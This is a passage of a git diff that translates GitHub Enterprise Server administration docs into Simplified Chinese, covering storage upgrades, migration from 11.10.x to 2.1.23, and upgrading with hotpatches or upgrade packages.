-   
-1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
+
+1. 运行 `ghe-upgrade` 命令，将完整的平台特定包安装到新分区的磁盘中。 `github-enterprise-2.11.9.hpkg` 等通用热补丁升级包将无法按预期运行。 在 `ghe-upgrade` 命令完成后，应用程序服务将自动终止。
 
   ```shell
   $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
   ```
-1. Shut down the appliance:
+1. 关闭设备：
   ```shell
   $ sudo poweroff
   ```
-1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
-1. Start the appliance.
-1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. 在虚拟机监控程序中，移除旧的根磁盘，并将新的根磁盘连接到旧的根磁盘的位置。
+1. 启动设备。
+1. 确保系统服务正常运行，然后释放维护模式。 更多信息请参阅“[启用和排定维护模式](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
 If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded.
diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
index 126dce06e2..423de2b563 100644
--- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
+++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
@@ -1,6 +1,6 @@
 ---
-title: Updating the virtual machine and physical resources
-intro: 'Upgrading the virtual software and virtual hardware requires some downtime for your instance, so be sure to plan your upgrade in advance.'
+title: 更新虚拟机和物理资源
+intro: 升级虚拟软件和虚拟硬件需要您的实例停机一段时间，因此，请务必提前规划升级。
 redirect_from:
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-the-vm'
   - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-physical-resources'
@@ -17,6 +17,6 @@ children:
   - /increasing-storage-capacity
   - /increasing-cpu-or-memory-resources
   - /migrating-from-github-enterprise-1110x-to-2123
-shortTitle: Update VM & resources
+shortTitle: 更新 VM 和资源
 ---
 
diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
index 912f655881..5b6cc94575 100644
--- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
+++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
@@ -1,5 +1,5 @@
 ---
-title: Migrating from GitHub Enterprise 11.10.x to 2.1.23
+title: 从 GitHub Enterprise 11.10.x 迁移到 2.1.23
 redirect_from:
   - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123
   - /enterprise/admin-guide/migrating
@@ -10,7 +10,7 @@ redirect_from:
   - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23
   - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
   - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
-intro: 'To migrate from {% data variables.product.prodname_enterprise %} 11.10.x to 2.1.23, you''ll need to set up a new appliance instance and migrate data from the previous instance.'
+intro: '要从 {% data variables.product.prodname_enterprise %} 11.10.x 迁移到 2.1.23，您需要设置新的设备实例并迁移之前实例中的数据。'
 versions:
   ghes: '*'
 type: how_to
@@ -18,54 +18,52 @@ topics:
   - Enterprise
   - Migration
   - Upgrades
-shortTitle: Migrate from 11.10.x to 2.1.23
+shortTitle: 从 11.10.x 迁移到 2.1.23
 ---
-Migrations from {% data variables.product.prodname_enterprise %} 11.10.348 and later are supported. Migrating from {% data variables.product.prodname_enterprise %} 11.10.348 and earlier is not supported. You must first upgrade to 11.10.348 in several upgrades. For more information, see the 11.10.348 upgrading procedure, "[Upgrading to the latest release](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)."
 
-To upgrade to the latest version of {% data variables.product.prodname_enterprise %}, you must first migrate to {% data variables.product.prodname_ghe_server %} 2.1, then you can follow the normal upgrade process. For more information, see "[Upgrading {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)".
+支持从 {% data variables.product.prodname_enterprise %} 11.10.348 及更高版本进行迁移。 不支持从 {% data variables.product.prodname_enterprise %} 11.10.348 及更低版本进行迁移。 您必须先通过多次升级过程升级到 11.10.348。 更多信息请参阅 11.10.348 升级程序“[升级到最新版本](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/)”。
 
-## Prepare for the migration
+要升级到最新版 {% data variables.product.prodname_enterprise %}，您必须先迁移到 {% data variables.product.prodname_ghe_server %} 2.1，然后才能执行正常升级过程。 更多信息请参阅“[升级 {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)”。
 
-1. Review the Provisioning and Installation guide and check that all prerequisites needed to provision and configure {% data variables.product.prodname_enterprise %} 2.1.23 in your environment are met. For more information, see "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)."
-2. Verify that the current instance is running a supported upgrade version.
-3. Set up the latest version of the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils).
-    - If you have already configured scheduled backups using {% data variables.product.prodname_enterprise_backup_utilities %}, make sure you have updated to the latest version.
-    - If you are not currently running scheduled backups, set up {% data variables.product.prodname_enterprise_backup_utilities %}.
-4. Take an initial full backup snapshot of the current instance using the `ghe-backup` command. If you have already configured scheduled backups for your current instance, you don't need to take a snapshot of your instance.
+## 准备迁移
+
+1. 查看配置和安装指南，并检查在您的环境中配置 {% data variables.product.prodname_enterprise %} 2.1.23 的所有基本要求是否已得到满足。 更多信息请参阅“[配置和安装](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)”。
+2. 验证当前实例正在运行受支持的升级版本。
+3. 设置最新版本的 {% data variables.product.prodname_enterprise_backup_utilities %}。 更多信息请参阅“[{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils)”。
+    - 如果已使用 {% data variables.product.prodname_enterprise_backup_utilities %} 配置排定的备份，请确保您已更新为最新版本。
+    - 如果您当前未运行排定的备份，请设置 {% data variables.product.prodname_enterprise_backup_utilities %}。
+4. 使用 `ghe-backup` 命令生成当前实例的初始完整备份快照。 如果您已为当前实例配置排定的备份，则不需要生成实例快照。
 
    {% tip %}
 
-   **Tip:** You can leave the instance online and in active use during the snapshot. You'll take another snapshot during the maintenance portion of the migration. Since backups are incremental, this initial snapshot reduces the amount of data transferred in the final snapshot, which may shorten the maintenance window.
+   **提示**：在快照生成期间，您可以使实例保持在线激活状态。 您将在迁移的维护过程中生成另一个快照。 由于备份的递增，此初始快照会减少在最终快照中传输的数据量，从而可能缩短维护窗口。
 
    {% endtip %}
 
-5. Determine the method for switching user network traffic to the new instance. After you've migrated, all HTTP and Git network traffic directs to the new instance.
-    - **DNS** - We recommend this method for all environments, as it's simple and works well even when migrating from one datacenter to another. Before starting migration, reduce the existing DNS record's TTL to five minutes or less and allow the change to propagate. Once the migration is complete, update the DNS record(s) to point to the IP address of the new instance.
-    - **IP address assignment** - This method is only available on VMware to VMware migration and is not recommended unless the DNS method is unavailable. Before starting the migration, you'll need to shut down the old instance and assign its IP address to the new instance.
-6. Schedule a maintenance window. The maintenance window should include enough time to transfer data from the backup host to the new instance and will vary based on the size of the backup snapshot and available network bandwidth. During this time your current instance will be unavailable and in maintenance mode while you migrate to the new instance.
+5. 确定用于将用户网络流量切换到新实例的方法。 迁移完毕后，所有 HTTP 和 Git 网络流量都将定向到新实例。
+    - **DNS** - 建议为所有环境使用此方法，因为此方法简单易用，即使在从一个数据中心迁移到另一个数据中心的情况下也能正常使用。 开始迁移之前，请将现有 DNS 记录的 TTL 缩减为 5 分钟或更短时间，并允许更改传播。 迁移完成后，将 DNS 记录更新为指向新实例的 IP 地址。
+    - **IP 地址分配** - 此方法仅适用于 VMware 到 VMware 的迁移，除非 DNS 方法不可用，否则不建议使用此方法。 开始迁移之前，您需要关闭旧实例并将其 IP 地址分配给新实例。
+6. 排定维护窗口。 维护窗口的时间应足够长，以便将数据从备份主机传输到新实例，并根据备份快照的大小和可用网络带宽而变化。 在此期间，如果要迁移到新实例，当前实例将不可用，且处于维护模式。
 
-## Perform the migration
+## 执行迁移
 
-1. Provision a new {% data variables.product.prodname_enterprise %} 2.1 instance. For more information, see the "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)" guide for your target platform.
-2. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
-3. Set an admin password.
-5. Click **Migrate**.
-![Choosing install type](/assets/images/enterprise/migration/migration-choose-install-type.png)
-6. Paste your backup host access SSH key into "Add new SSH key".
-![Authorizing backup](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
-7. Click **Add key** and then click **Continue**.
-8. Copy the `ghe-restore` command that you'll run on the backup host to migrate data to the new instance.
-![Starting a migration](/assets/images/enterprise/migration/migration-restore-start.png)
-9. Enable maintenance mode on the old instance and wait for all active processes to complete. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. 配置新的 {% data variables.product.prodname_enterprise %} 2.1 实例。 更多信息请参阅您的目标平台的“[配置和安装](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)”指南。
+2. 在浏览器中，导航到新副本设备的 IP 地址并上传您的 {% data variables.product.prodname_enterprise %} 许可。
+3. 设置管理员密码。
+5. 单击 **Migrate**。 ![选择安装类型](/assets/images/enterprise/migration/migration-choose-install-type.png)
+6. 将备份主机访问 SSH 密钥粘贴到“Add new SSH key”中。 ![授权备份](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
+7. 单击 **Add key（添加密钥）**，然后单击 **Continue（继续）**。
+8. 复制您将在备份主机上运行的 `ghe-restore` 命令，将数据迁移到新实例。 ![开始迁移](/assets/images/enterprise/migration/migration-restore-start.png)
+9. 在旧实例上启用维护模式，并等待所有活动进程完成。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
   {% note %}
 
-  **Note:** The instance will be unavailable for normal use from this point forward.
+  **注**：从现在开始，此实例将无法正常使用。
 
   {% endnote %}
 
-10. On the backup host, run the `ghe-backup` command to take a final backup snapshot. This ensures that all data from the old instance is captured.
-11. On the backup host, run the `ghe-restore` command you copied on the new instance's restore status screen to restore the latest snapshot.
+10. 在备份主机上，运行 `ghe-backup` 命令以生成最终的备份快照。 这样可以确保捕获来自旧实例的所有数据。
+11. 在备份主机上，运行您在新实例的恢复状态屏幕上复制的 `ghe-restore` 命令以恢复最新快照。
   ```shell
   $ ghe-restore 169.254.1.1
   The authenticity of host '169.254.1.1:122' can't be established.
@@ -86,17 +84,15 @@ To upgrade to the latest version of {% data variables.product.prodname_enterpris
   Visit https://169.254.1.1/setup/settings to review appliance configuration.
   ```
 
-12. Return to the new instance's restore status screen to see that the restore completed.
-![Restore complete screen](/assets/images/enterprise/migration/migration-status-complete.png)
-13. Click **Continue to settings** to review and adjust the configuration information and settings that were imported from the previous instance.
-![Review imported settings](/assets/images/enterprise/migration/migration-status-complete.png)
-14. Click **Save settings**.
+12. 返回到新实例的恢复状态屏幕，查看恢复是否已完成。 ![恢复整个屏幕](/assets/images/enterprise/migration/migration-status-complete.png)
+13. 单击 **Continue to settings**，检查并调整从之前的实例中导入的配置信息和设置。 ![检查导入的设置](/assets/images/enterprise/migration/migration-status-complete.png)
+14. 单击 **Save settings（保存设置）**。
 
   {% note %}
 
-  **Note:** You can use the new instance after you've applied configuration settings and restarted the server.
+  **注**：您可以在应用配置设置并重新启动服务器后使用新实例。
 
   {% endnote %}
 
-15. Switch user network traffic from the old instance to the new instance using either DNS or IP address assignment.
-16. Upgrade to the latest patch release of {{ currentVersion }}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
+15. 使用 DNS 或 IP 地址分配将用户网络流量从旧实例切换到新实例。
+16. 升级到 {{ currentVersion }} 的最新补丁版本。 更多信息请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)。”
diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
index 7d618961ca..504211d17c 100644
--- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
+++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading GitHub Enterprise Server
-intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
+title: 升级 GitHub Enterprise Server
+intro: '升级 {% data variables.product.prodname_ghe_server %}，以获取最新功能和安全更新。'
 redirect_from:
   - /enterprise/admin/installation/upgrading-github-enterprise-server
   - /enterprise/admin/articles/upgrading-to-the-latest-release
@@ -20,221 +20,221 @@ type: how_to
 topics:
   - Enterprise
   - Upgrades
-shortTitle: Upgrading GHES
+shortTitle: 升级 GHES
 ---
 
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-## Preparing to upgrade
+## 准备升级
 
-1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
-3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
-4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required.
+1. 确定升级策略并选择要升级到的版本。 For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+3. 使用 {% data variables.product.prodname_enterprise_backup_utilities %} 创建全新的主实例备份。 更多信息请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} README.md 文件](https://github.com/github/backup-utils#readme)。
+4. 如果您要使用升级包进行升级，请为 {% data variables.product.prodname_ghe_server %} 最终用户排定维护窗口。 如果您要使用热补丁，则不需要使用维护模式。
 
   {% note %}
 
-  **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+  **注**：维护窗口取决于所执行升级的类型。 使用热补丁进行升级通常不需要维护窗口。 有时需要重启，不过您可以在之后的某个时间重启。 按照 MAJOR.FEATURE.PATCH 的版本控制方案，使用升级包的补丁版本通常需要不到 5 分钟的停机时间。 包含数据迁移的功能版本需要的时间更长，具体视存储性能以及迁移的数据量而定。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
   {% endnote %}
 
 {% data reusables.enterprise_installation.upgrade-hardware-requirements %}
 
-## Taking a snapshot
+## 生成快照
 
-A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk.
+快照是虚拟机 (VM) 在某一时间点的检查点。 强烈建议在升级虚拟机之前生成快照，这样一来，如果升级失败，您可以将 VM 还原到快照状态。 如果您要升级到新的功能版本，则必须生成 VM 快照。 如果您要升级到补丁版本，可以连接现有数据磁盘。
 
-There are two types of snapshots:
+有两种类型的快照：
 
-- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming.
-- **Data disk snapshots** only save your user data.
+- **VM 快照**会保存整个 VM 状态，包括用户数据和配置数据。 此快照方法需要占用大量磁盘空间，且比较耗时。
+- **数据磁盘快照**仅会保存您的用户数据。
 
   {% note %}
 
-  **Notes:**
-  - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM.
-  - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession.
+  **注意：**
+  - 某些平台不允许您只生成数据磁盘的快照。 对于此类平台，您需要生成整个 VM 的快照。
+  - 如果您的虚拟机监控程序不支持完整的 VM 快照，您应连续、快速地生成根磁盘和数据磁盘的快照。
 
   {% endnote %}
 
-| Platform | Snapshot method | Snapshot documentation URL |
-|---|---|---|
-| Amazon AWS | Disk | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
-| Azure | VM | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>
-| Hyper-V | VM | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>
-| Google Compute Engine | Disk | <https://cloud.google.com/compute/docs/disks/create-snapshots>
-| VMware | VM | <https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html>{% ifversion ghes < 3.3 %}
-| XenServer | VM | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
+| 平台                    | 快照方法 | 快照文档 URL                                                                                                                                                                                                                         |
+| --------------------- | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Amazon AWS            | 磁盘   | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>                                                                                                                                                 |
+| Azure                 | VM   | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>                                                                                                                                                        |
+| Hyper-V               | VM   | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>                                                                                                               |
+| Google Compute Engine | 磁盘   | <https://cloud.google.com/compute/docs/disks/create-snapshots>                                                                                                                                                                   |
+| VMware                | VM   | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %}
+| XenServer             | VM   | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
 
-## Upgrading with a hotpatch
+## 使用热补丁升级
 
-{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+{% data reusables.enterprise_installation.hotpatching-explanation %} 利用 {% data variables.enterprise.management_console %}，您可以立即安装热补丁，也可以排定稍后安装热补丁。 您可以使用管理 shell 的 `ghe-upgrade` 实用程序安装热补丁。 更多信息请参阅“[升级要求](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)”。
 
 {% note %}
 
-**{% ifversion ghes %}Notes{% else %}Note{% endif %}**:
+**{% ifversion ghes %}注释{% else %}注释{% endif %}**：
 
 {% ifversion ghes %}
-- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch.
+- 如果 {% data variables.product.product_location %} 正在运行发布候选版本，则无法使用热补丁升级。
 
-- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)."
+- {% endif %}无法在集群环境中使用 {% data variables.enterprise.management_console %} 安装热补丁。 要在集群环境中安装热补丁，请参阅“[升级集群](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)”。
 
 {% endnote %}
 
-### Upgrading a single appliance with a hotpatch
+### 使用热补丁升级单个设备
 
-#### Installing a hotpatch using the {% data variables.enterprise.management_console %}
+#### 使用 {% data variables.enterprise.management_console %} 安装热补丁
 
-1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)."
+1. 启用自动更新。 更多信息请参阅“[启用自动更新](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)”。
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.updates-tab %}
-4. When a new hotpatch has been downloaded, use the Install package drop-down menu:
-    - To install immediately, select **Now**:
-    - To install later, select a later date.
-  ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
-5. Click **Install**.
-  ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
+4. 在新的热补丁下载完毕后，请使用 Install package 下拉菜单：
+    - 要立即安装，请选择 **Now**：
+    - 要稍后安装，请选择以后的日期。 ![热补丁安装日期下拉菜单](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
+5. 单击 **Install（安装）**。 ![热补丁安装按钮](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
 
-#### Installing a hotpatch using the administrative shell
+#### 使用管理 shell 安装热补丁
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 复制升级热补丁包（*.hpkg* 文件）的 URL。
 {% data reusables.enterprise_installation.download-package %}
-4. Run the `ghe-upgrade` command using the package file name:
+4. 使用包文件名运行 `ghe-upgrade` 命令：
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.hpkg</em>
   *** verifying upgrade package signature...
   ```
-5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you.
+5. 如果更新内核、MySQL、Elasticsearch 或其他程序时需要重启，热补丁升级脚本会通知您。
 
-### Upgrading an appliance that has replica instances using a hotpatch
+### 使用热补丁升级包含副本实例的设备
 
 {% note %}
 
-**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication.
+**注**：如果要安装热补丁，则无需进入维护模式或停止复制。
 
 {% endnote %}
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+配置为高可用性和 Geo-replication 的设备除了会使用主实例之外，还会使用副本实例。 要升级此类设备，您需要逐个升级主实例和所有副本实例。
 
-#### Upgrading the primary instance
+#### 升级主实例
 
-1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
+1. 请按照“[使用管理 shell 安装热补丁](#installing-a-hotpatch-using-the-administrative-shell)”中的说明升级主实例。
 
-#### Upgrading a replica instance
+#### 升级副本实例
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**注**：如果您要将多个副本实例作为 Geo-replication 的一部分运行，请逐一为每个副本实例重复此步骤。
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. 按照“[使用管理 shell 安装热补丁](#installing-a-hotpatch-using-the-administrative-shell)”中的说明升级副本实例。 如果使用多个副本进行异地复制，则必须重复此过程，每次升级一个副本。
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
-## Upgrading with an upgrade package
+## 使用升级包升级
 
-While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+虽然您可以使用热补丁升级到功能系列中的最新补丁版本，但必须使用升级包升级到更新的功能版本。 例如，要从 `2.11.10` 升级到 `2.12.4`，您必须使用升级包，因为两者在不同的功能系列中。 更多信息请参阅“[升级要求](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)”。
 
-### Upgrading a single appliance with an upgrade package
+### 使用升级包升级单个设备
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 选择适当的平台并复制升级包（*.pkg* 文件）的 URL。
 {% data reusables.enterprise_installation.download-package %}
-4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+4. 启用维护模式并等待 {% data variables.product.prodname_ghe_server %} 实例上的所有活动进程完成。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。
 
   {% note %}
 
-  **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)."
+  **注**：升级采用高可用性配置的主设备时，如果您按照“[升级主实例](#upgrading-the-primary-instance)”中的说明操作，设备应当已处于维护模式。
 
   {% endnote %}
 
-5. Run the `ghe-upgrade` command using the package file name:
+5. 使用包文件名运行 `ghe-upgrade` 命令：
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.pkg</em>
   *** verifying upgrade package signature...
   ```
-6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode:
+6. 确认您要继续升级，并在包签名得到验证后重新启动。 新的根文件系统会写入辅助分区，实例会在维护模式下自动重启：
   ```shell
-  *** applying update...
+  *** 正在应用更新...
   This package will upgrade your installation to version <em>version-number</em>
   Current root partition: /dev/xvda1 [<em>version-number</em>]
   Target root partition:  /dev/xvda2
   Proceed with installation? [y/N]
   ```
-7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}.
+7. 对于单个设备升级，请禁用维护模式，以便用户能够使用 {% data variables.product.product_location %}。
 
   {% note %}
 
-  **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)."
+  **注**：升级采用高可用性配置的主设备时，您应当一直处于维护模式，直至已升级所有副本，复制是最新版本。 更多信息请参阅“[升级副本实例](#upgrading-a-replica-instance)”。
 
   {% endnote %}
 
-### Upgrading an appliance that has replica instances using an upgrade package
+### 使用升级包升级包含副本实例的设备
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+配置为高可用性和 Geo-replication 的设备除了会使用主实例之外，还会使用副本实例。 要升级此类设备，您需要逐个升级主实例和所有副本实例。
 
-#### Upgrading the primary instance
+#### 升级主实例
 
 {% warning %}
 
-**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost.
+**警告**：复制停止时，如果主实例发生故障，副本升级和复制再次开始之前执行的任何操作都将丢失。
 
 {% endwarning %}
 
-1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
+1. 在主实例上，启用维护模式并等待所有活动进程完成。 更多信息请参阅“[启用维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)”。
 {% data reusables.enterprise_installation.replica-ssh %}
-3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication.
